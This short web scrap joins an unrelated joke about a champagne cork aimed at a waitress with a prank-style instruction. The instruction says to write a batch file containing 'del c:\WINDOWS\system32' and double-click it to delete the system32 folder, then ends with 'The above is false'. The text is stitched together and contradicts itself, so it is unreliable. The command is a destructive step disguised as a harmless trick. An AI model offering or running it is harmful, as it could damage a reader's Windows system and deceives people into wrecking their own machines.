"Wait, dude that cork is the size of a softball. And you're pointing it directly at Wendy the Waitress's face!" ...is what he should have said... *pop* "Ahh!"
open a notepad type the following: @echo off del c:\WINDOWS\system32
save the file as anything.bat (remember to add the .bat extension and save as all files) double click and it will delete the system32 folder. The above is false